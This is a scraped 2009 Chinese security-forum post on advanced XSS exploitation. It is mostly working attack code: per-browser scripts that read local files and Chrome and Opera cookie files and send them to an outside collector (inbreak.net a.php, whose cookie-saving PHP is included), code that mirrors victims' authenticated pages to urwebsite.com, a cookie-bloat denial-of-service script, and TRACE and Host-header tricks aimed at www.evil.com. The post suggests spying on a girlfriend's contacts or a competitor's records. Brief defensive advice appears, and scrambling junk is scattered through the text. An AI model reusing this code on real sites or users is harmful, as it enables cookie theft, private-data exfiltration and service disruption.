XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

$ r0 }, _7 s0 j$ {( P1 x( SXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
: Y# p+ F- K4 L转帖请保留版权



% [; N$ n) l& @-------------------------------------------前言---------------------------------------------------------
8 z/ W* P1 d+ N' ]4 X+ l' e
+ ?% T: T! L: F5 h' a! _1 |# q- p
: q9 L, v* O3 a0 R6 D. U本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
5 g; Y0 _8 M/ c' ~# Y% m$ }8 m

如果你还未具备基础XSS知识,以下几个文章建议拜读:
) L% @% f; ^6 i# yhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
! E; L( P& p% m- k. Ohttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
9 h% _- f. G6 W3 _5 n' T. I# y& ]; P! }' Ahttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
- p* V+ Z/ w: j3 {% O1 ~; ohttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

0 F1 g' }2 E# J6 f# \3 f
: u! o8 m! [* w$ h" @. s

1 U' p& Z4 V4 I1 h& {如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
5 d7 L2 l7 j+ n9 M
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
; M" G+ ^! X4 J6 I
. V1 x7 ]/ n0 o; ^, a- oOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
2 y; e' H. w) m, d0 r% T9 ]) \复制代码------------------------------------------介绍-------------------------------------------------------------
/ G" ~; _# e6 ?0 I5 R
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
# |, P9 O5 ~5 V7 M! y
! m7 {8 G5 L2 M) @/ v

% A3 r$ S# B+ J0 u3 q4 }, g跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
3 Q" x6 L$ ?7 M! ^& w& ]0 j2 K: D
0 ^; c& Y. ?3 M1 A
, X  K9 @; o/ P; R- m- O
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
- Z3 Z7 i' m9 k4 D9 C% m: ]& }8 S2 H
( f5 s5 L0 D( j2 k/ c; Q: B3 q8 H3 T1        通过XSS,我们能实现什么?

& ~; T, S5 [( x3 |2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
" N/ V2 X7 e, N( J+ N  F/ W
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
1 [9 H, p, W" R9 x; g1 a/ h
4        XSS漏洞在输出和输入两个方面怎么才能避免.
1 R& \2 s/ h, T8 p

/ y! S# c3 s$ k6 {$ F
------------------------------------------研究正题----------------------------------------------------------
/ J5 f+ M2 H- S
0 _7 S' V& R( h; b9 r% O

- f* V& Z& c) D& f) q6 R# S/ l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
/ y- L! Q- E! t# J  n: ^/ z复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
; H, _9 n* N, M0 e0 B" j复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


  X9 r/ w" _! u' T
' s" l" j9 H+ v  N
4 m3 s* o3 G- p" {8 ]6 {6 ?
% s/ i6 g5 O' C: Z5 d8 h5 ~(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
# C4 h4 J6 o# L1 ~3 E  I5 z
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


- B. E2 H. B  O/ J4 X! ~/ k1 i
1 V0 @* G/ ], |+ r* l1 r! B, Z    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
# O7 q2 j! r3 I- m) ~


: ]- W* \7 ~& B. Z2 W    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


/ X2 k! P. ^7 d! L/ l
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
/ Y$ p) s. }$ r% M) s8 }复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}



" D% ]% O3 U+ F2 k1 _( F    function ajax_obj(){
; J& N4 H; S* z8 a  b; t
    var request = false;

    if(window.XMLHttpRequest) {

& m% @# P! M. g# p- e6 V    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
$ ?1 D- o( ~( i# a* r
1 S0 }9 ]) U+ A    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
$ [  W* O( n3 D5 \
. K7 E) E% R1 [" N' n! d0 a

) o3 R& t" h1 h+ W* S# d    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
# b9 Y" @/ A5 c6 y8 k
    try {
6 H5 A7 t4 D. F$ y7 W
    request = new ActiveXObject(versions);

" T" Y+ F; ?! |: `    } catch(e) {}

    }
; J! n* T9 m; [! Y, R6 c" \3 A$ ^
5 r4 [2 [# Y0 K1 L% X    }

3 N8 d. F3 Q6 T2 o" W  X. \$ \    return request;

6 g1 P/ x1 E. v; J. R    }
7 e- u6 ~- d  {' i" X
$ V, U9 l  X/ D4 A3 J    var _x = ajax_obj();

    function _7or3(_m,action,argv){
2 [) B. M; q% g& G2 v( ]1 j/ [& W
    _x.open(_m,action,false);

" S0 M, _- H* \  C! r8 J: m    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

/ B' {7 K! s4 B" c: B    _x.send(argv);

# D, C" o* j. v( {    return _x.responseText;

    }


* o8 B; X3 g& u: ]; O) I5 W+ k
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

2 U# ^6 S, y; D. }    alert(txt);
9 i) J& P% D  W) K" z' N


) ~3 @! H$ W4 j4 Z: T, a    </script>
' J: U/ ]0 I/ U" N# A复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
7 Z8 V9 J2 G6 f7 Q3 Y, D
    function $(x){return document.getElementById(x)}

& S  q4 j, c- l1 V/ x# E

    function ajax_obj(){

& h0 s1 }4 `3 M" m+ m% |, q: I    var request = false;
1 d4 i, w) w+ I; }
    if(window.XMLHttpRequest) {
: X, B8 w! w6 }% X
) C. X4 d4 s! c0 }  t# S    request = new XMLHttpRequest();
& G) A( ^; N+ J  i/ f
    } else if(window.ActiveXObject) {
' o5 O9 y# |, c$ Q+ V. Z- U) C1 K  @1 {
3 w: A0 |2 Z- H; @$ Y" [4 E    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
; s7 I$ y+ {7 ?# @7 p+ o5 l9 i: N
& D: B: {! E5 p; [7 y; a5 q

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 y! N3 z, p* \
7 Y% T9 ^4 r4 }0 T    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);
7 i+ A& z& l9 m4 g4 _
6 a3 x  R! `$ J" x) Z" L1 E    } catch(e) {}

    }
. r# E0 }- \& A0 q
1 C2 N8 r+ y7 u3 \( S    }

    return request;
6 P2 i/ G, ^5 p
6 i2 h2 g3 `& R, c5 ~( s2 F9 {    }

    var _x = ajax_obj();
* F4 M1 P$ N, `0 |0 u
' _6 n7 q' O% c: ?% E    function _7or3(_m,action,argv){
  i  U) a; N& F. f( {. z, A7 w
5 Z+ l1 ~9 b' w: X/ l    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
! B$ S. v) X; Q+ L# N& L
    _x.send(argv);
% N7 E8 s  B) h0 a3 {6 H
    return _x.responseText;

    }
; V7 r' s7 ]- g5 Z: q% P
: `- o% A4 U8 g7 \/ N

: x+ U; W8 _  e# m+ K6 ]    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
2 _, h$ H; F, w
; ?! }, d, \" O
/ v* O0 y5 z3 d+ A4 w
    </script>
5 ?9 M2 l+ f4 R$ a! D复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


" E: [2 u# L( l% J' H1 L7 i
1 M/ Q- c( x/ X! a) V9 K0 r$ qChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 g% v4 s2 I7 m0 X) l# G


<?   
) |/ B9 i5 g5 D
/*  
# e8 L2 p6 N8 A, ]: W
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
# L2 V; m  O% {) V$ }6 p
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
8 {0 Y# Q0 R. d' x+ G7 B* P. [
*/  

# {5 `1 D* I* r& X* ?2 \& x2 V1 xheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
$ q* h! x! q5 a4 G+ x
/*  
2 C2 |/ `+ |& D2 f* ~3 Q
' W7 W0 j" y  \( J' a# M     set header, so just download html file,and open it at local.  
4 F1 j7 c: w6 U6 l! g6 e
3 U+ a+ J) l9 f5 z2 A5 R  ?*/  
2 L9 R, x7 x+ f
  @  j' F% z3 T?>   
6 {+ y+ m: A6 W% p  @, r
6 y3 K, z) U& Y9 f' ~2 q<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
  W* T6 N$ x2 f; ]% M  E' `
; y/ N2 C6 m5 p6 u& o     <input id="input" name="cookie" value="" type="hidden">   
7 J5 ?) r6 d; f2 p0 \6 G$ S
</form>   
' B/ {& F: ^) T
<script>   
; w' s3 Q* X3 h8 H0 [0 ]
+ M* e! {/ f5 Y: a) d0 `9 m0 a! ]& lfunction doMyAjax(user)   
" O; Y$ Q. F$ r5 O
{   

var time = Math.random();   
5 W4 N2 l% V. {
- b% A* z2 B+ |& b3 v/*  

$ k7 r% ]$ P$ P# {4 X2 jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

0 C" l6 g* v; o4 P. w9 [. c4 B' iand so on...  

*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
% y: U6 g0 ?1 z7 A2 d$ p8 q+ F
   

. q7 p1 }/ H1 H8 Y8 K8 @& U) YstartRequest(strPer);   


' ^" `# V: ?  C3 f! a% \' Q% e
}   

" E; D5 \  X9 N" G, _6 J* y( _   
8 p' o1 t0 z7 d: k
function Enshellcode(txt)   

& ~) T& q) H  q- T# E: H: ]/ d{   

" W0 N+ h( W( ]2 r$ @7 k/ M# Q6 Yvar url=new String(txt);   
2 F, @0 B6 Z4 p# e2 `$ J
6 e, G2 D9 K: |( }8 Lvar i=0,l=0,k=0,curl="";   

6 H) j6 }; S' l& Sl= url.length;   

. [( H" w2 d# x6 D2 rfor(;i<l;i++){   
; B+ g0 |/ }- P/ x* W* u
5 ?' |7 d  ?: V1 _k=url.charCodeAt(i);   
- {5 f) h: p* X
  @* g; C8 f5 }if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

9 H1 ~/ k) y( C8 wif (l%2){curl+="00";}else{curl+="0000";}   
6 k. G1 |  p. e% R. T+ s
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
: B; ~3 u* @, v- y, o' h
return curl;   
$ w/ D- m( M0 b7 y* H  _
}   

3 O+ z7 h0 V: ]' Q0 }! |+ E) f   

6 ]7 u  ^2 _4 D; v0 p* a   
- W8 \$ b/ P! ~5 T
1 e  m, @: Q$ L  e% G6 k: n  Yvar xmlHttp;   
# p  h6 m: K1 w4 Y* V
' W* J/ g  z& F% b# n* `" @function createXMLHttp(){   
& p+ @7 @9 _) q: J/ B$ y$ [$ Y
     if(window.XMLHttpRequest){   
" f8 [; e/ G7 L0 B& z( I
3 {* t, X7 ~9 W) k$ kxmlHttp = new XMLHttpRequest();           
3 R0 E, {; Y5 C0 n) I* e  j. ~
- h. _6 f2 P0 {$ O     }   

9 F7 Y7 R- _' L8 e- X# l     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
% I$ ~, |3 H( }1 ?3 C
- e+ r& U# u2 w' t     }   
$ U+ t/ |+ t- O" ~6 u" ~9 B- @
' N5 i$ z/ t) l8 `1 [* L4 \}   
* `* }  N# B$ \: h1 u2 d/ t
   

function startRequest(doUrl){   
! W0 K& T! d' |+ X. ^
8 m- K, m2 o' @% v* E. Z( q   
3 R: X* o) R) o( n0 G8 \6 m
: O: J/ E- y4 C9 }( m     createXMLHttp();   
8 v2 b1 `, O# D& }" Z4 j; F: j+ ]1 R3 c


     xmlHttp.onreadystatechange = handleStateChange;   

0 w$ ]& f- r* w4 q4 N
$ K& U1 E8 L6 y
. U: c( |. f+ J* S$ g7 E" p+ B4 @  ?     xmlHttp.open("GET", doUrl, true);   


' t1 o, D" d" c  s8 S- a' x
; U0 n; ^1 k4 p6 h. @7 S     xmlHttp.send(null);   

: E' j! x) P( f" s# u. f" ]+ a

/ E5 r! l7 M* e) n
3 f1 C2 q% ~" _
}   
6 n6 K2 k+ i6 |/ T) `  u! v) A
   
: h% T# q; u8 H
8 D/ f6 ^& ^- q* D  e' Y) C  hfunction handleStateChange(){   

0 R% {& q3 t# k6 x, ^6 h$ G     if (xmlHttp.readyState == 4 ){   

. A6 B! N5 {/ G9 N6 x5 G1 G3 @     var strResponse = "";   

+ y; Y$ N: J( N, Z; w% y! ]     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

9 [$ A  m& G* _5 u& |        

* X% `/ n" D! s' _$ L     }   

}   

   
$ P6 {$ b. [0 L; U$ |/ V  L
   

function framekxlzxPost(text)   
- [% \% Z+ ?& c( X
{   
' `+ Z: C5 j4 |/ F- A& A9 G
- x7 w- ~! M9 p3 k& W! t0 ^     document.getElementById("input").value = Enshellcode(text);   

* p3 ~0 U) G  _' Y( P     document.getElementById("form").submit();   

( C* p1 V2 w$ o/ T}   
6 j8 [: e& U* j3 Y1 `
   

! B: v+ i1 ^+ a' sdoMyAjax("administrator");   
3 Y1 {( @6 B+ Q9 B& e, y
   

( J+ o9 W; `7 U/ G4 \</script>
* B6 r3 c2 _8 m$ p- D7 Q复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
. O% Y0 u% H6 y
) M4 v4 ^: u* dvar xmlHttp;  
3 u9 M# [8 E$ {, ^
function createXMLHttp(){  
  M7 ]. a" r, r  \
8 v/ U1 R8 C; {8 z+ s: z     if(window.XMLHttpRequest){  

) e* T0 A4 A6 l2 f% {$ W( C         xmlHttp = new XMLHttpRequest();         
2 d# H/ U) @( R! r( a' M) D. K
     }  
) C/ N' j( p6 K& M; C! b
     else if(window.ActiveXObject){  
" K' A. @. o1 L1 B6 W+ O
5 S. J) q. @( M0 h) \: i" x         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  
$ a6 w/ z4 Z( N2 s1 G. R/ x( H" A/ Z
   

function startRequest(doUrl){  

           

     createXMLHttp();  
8 T  q* s' v) W5 k  v% Y
3 x) q$ O# x3 q$ Z) T, r+ P      
8 A+ }; g& L0 e+ `) q  Y
     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

      
. p; ^" F! b1 T* W! c) b
     xmlHttp.send(null);  

      

      
6 Q, d4 ~# b! ~$ x9 w5 Q
}   
$ @# B5 m9 s: Q7 K( ]
6 Y3 p% I! r; h  Z/ y2 C   
; r1 Y) W' k, T' Y6 f; d
function handleStateChange(){  
" e* V9 V  D" d& u( s1 n9 m
     if (xmlHttp.readyState == 4 ){  
. l5 s: P1 }8 w8 F/ E- O
  O1 [; _$ E5 L             var strResponse = "";  
0 Y4 |; d0 W* i  w- O2 |" n
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
  c: `, ^* F( c$ N! s% D0 i# M3 X
& x5 g/ E: F- S               

     }  
* [8 G5 a8 y4 I4 r! I" f! ^
* L* |' J- |5 F2 `}  

   
* ?( _7 }& a4 I7 ^4 d* U
6 J) `. }3 E: s( afunction doMyAjax(user,file)  
1 e& a* o* _1 [0 y& y
9 n5 s$ z$ |3 A& }) e{  

( H, @8 o5 S. Z+ J, ?  @' g         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

' e% m+ j7 Q6 g3 |2 R+ I3 P" E% o% G/ _           
: A' w6 I0 q& D! X  x
         startRequest(strPer);  

      

- e- O5 s+ N& e}  
) p. j! l# G( Q4 i2 F
   

! G& R- T' d' u  H) `1 b, @function framekxlzxPost(text)  

{  

2 o+ g: N2 W, o* r     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
* P+ h, ]; X) _- ~: n' _2 i& u
1 z) m0 _" u0 ^+ {2 S" ~5 j& q& H}  
4 m3 Y) |$ I0 u
) }. \/ Q; ]- Y2 M& m3 R( l   
' w  G9 n# z( ?" ~7 o
doMyAjax('administrator','administrator@alibaba[1].txt');  

* a5 d: y% F1 o   
. |( i8 h5 s( E2 |- Z
) P; V4 J- ~9 m. a, I</script>


0 z9 p. R" w. L/ a7 P7 k; u


a.php

7 V$ @8 T8 H8 o

<?php      

   

0 a& W* M; i& v1 q) ^# a$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
! e$ J6 [/ i# r" Y4 ]
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
& z/ q9 D: [" P1 [, {% L9 i
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
: s2 ~3 Z! f1 {
fwrite($fp,$_GET["cookie"]);      
, ~2 C- n( b' Y# c
8 D: N. ?7 y. w* `) yfclose($fp);   

( h& |- c, I: z$ Z# U0 i?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

* y+ f5 `8 h8 g3 T# P; m9 Z1 y或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
7 L# k$ }3 ~9 y) U6 k) d0 ]
, c2 E% d1 h$ x, N% J代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
: G+ h+ q( B- N; d
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
6 M1 ]' Q6 H! }% [
function getURL(s) {
; u# a( Z' P+ o8 {. L+ n+ p
var image = new Image();

image.style.width = 0;
5 m0 r2 y7 L, l% D  s4 g% a
image.style.height = 0;

0 V7 K* K1 h( B& Cimage.src = s;
8 l# V$ S1 ^- y
}
$ @$ }# F) ~! R  E2 f' o& r' g
. R1 p9 h4 q* Y. n( ygetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
9 e8 y+ Z1 V0 g; d8 x' r. l复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
9 _8 {6 ?9 Q- L% b
var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

while (str.length < 4000){

( ]- N! H0 H9 w& _  k: C* ~7 ~    str += metastr;
# w6 Y2 N, ^6 q- f0 R% u# H
: [" z& o# f" ~6 Z2 N. d) }0 z/ R, A}
+ h6 t2 ?4 l0 m, ?! ?

0 @2 [7 |5 e0 S9 `7 z; N
; P1 z, Z  L: Z& {! J) Q/ cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
2 ]" J1 |! N9 R. c3 Z
5 t! \9 l; J# Q' j( K1 V! ^" @9 R</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
! ~/ N# g- \8 r) C1 x复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
- @/ F4 Z, b% w8 \server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
: }1 b+ f3 T7 W+ B, h
9 e2 ^+ B4 `. W# b8 M- J假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
  }6 L% Z/ i% N: J  {" q- k. P: f攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

9 k. d8 _  b" Z3 ^; W( [
# i3 ^* m8 }2 K( ]



. O$ x9 ~# ?; B2 T/ K7 j$ U, S" M(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
  H4 _+ p# z+ Z! Q0 y' c' J0 N
, x7 Z5 j5 W7 s2 S7 S% d<!--
) W$ y( C( W6 Y) s8 U
# `) {- _) [; Bfunction normalCookie() {
6 B8 S5 ]# f2 m2 p6 f6 t
. G/ K3 h. N4 t( k- u3 [4 c) n' Udocument.cookie = "TheCookieName=CookieValue_httpOnly";
( \' w1 B" _, b6 P# p
alert(document.cookie);
; [" s8 B( z; t0 i2 g, W
/ x* w+ b# r# n6 N0 |) T, f& l4 Q% u}

  \) K7 j4 T  d7 R3 F- X! j- m7 @3 I

. X& p2 K/ K8 j" ?) E# |4 l1 t
+ j. B4 }( `+ q1 J( ]* h
function httpOnlyCookie() {

% ?9 C; r. o" H/ E$ `document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
2 n: d8 e; K. b; E" G
alert(document.cookie);}
( y. e2 f" \: H) T, ]6 B
7 O% P& i( u2 P2 ?

//-->
$ q- g% Q% I% ~# U: i( U6 \
- K! D/ h* x, b: x' R</script>
% P% Y8 E2 w3 @/ W! y7 A# `
5 ^9 O  z' t2 t* f) e

6 \" w+ C& S1 Z/ y, j  \<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
5 A7 a7 X% N: F+ k0 M5 v% ]
( w" x( k; O5 d6 h
% X- F9 b" |0 U# M" ~
( Q* B% r% j, u7 R+ b7 J: vvar request = false;

        if(window.XMLHttpRequest) {
3 ^5 _! K; s& i7 K6 ?& R5 F
            request = new XMLHttpRequest();
* t+ M6 R3 k" Q' ?
( Y) f0 L( I5 W$ s- L            if(request.overrideMimeType) {
9 c0 N/ a( o- v( t1 H
                request.overrideMimeType('text/xml');

            }

        } else if(window.ActiveXObject) {

. v* k" b. T2 x            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {
: \& g6 x6 p5 b( t8 |7 _& l/ e
                    request = new ActiveXObject(versions);

+ x! v  k" C; o8 [" ?/ I                } catch(e) {}
4 e. }& J1 J4 j) d- T/ N
: j+ o: s, |% E            }

        }
4 k% t' C) L' Y' v
/ w2 g8 i! {/ ?  a& ?0 t2 U8 uxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

/ Z- ?$ [  `( ?/ m' x8 vxmlHttp.send(null);
: R: e* H5 j8 a8 x2 X
( W, X6 D% f% @- ExmlDoc=xmlHttp.responseText;
9 @3 B6 I5 ]- k) F. o
( Z7 \' t' l4 ~, a6 `  Xalert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
: b+ m0 N' }9 P' j8 [4 ~' o
- H* n' X1 w; C- Uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

3 Z1 G( l: g9 r& u" L1 MXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
- e2 B- O# ?. Y# d. F
- O4 X/ q# Y: _0 |' W, aXmlHttp.send(null);

var resource=xmlHttp.responseText
( Q$ g( b* l8 ?& d
* }) Y2 y+ E+ Q5 Aresource.search(/cookies/);
8 v1 J1 g' v$ L1 O
......................

</script>
; R' T1 |% M, U' H2 r( y; R1 C" I8 W
. `2 u6 q$ n, X0 S2 s
- o7 Q. ?- T. n- z. D8 r

" G+ g8 g( [5 _/ _" z' U! l; r
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
; n' Q' S3 T5 Y0 Q
[code]
' J1 L" h( s# d8 O
RewriteEngine On

3 d5 k8 r# v" r. E, E, F- sRewriteCond %{REQUEST_METHOD} ^TRACE

- k3 p0 k+ M) _& \RewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
- ~/ B* S" o! i7 g
acl TRACE method TRACE
) y2 ?/ s7 O: I0 V+ C
- ?$ o& K0 J/ l4 ]! a. f...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
1 B: Z( `7 [3 \& D4 k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

& l, \- z6 u; {3 u" q' U* aXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

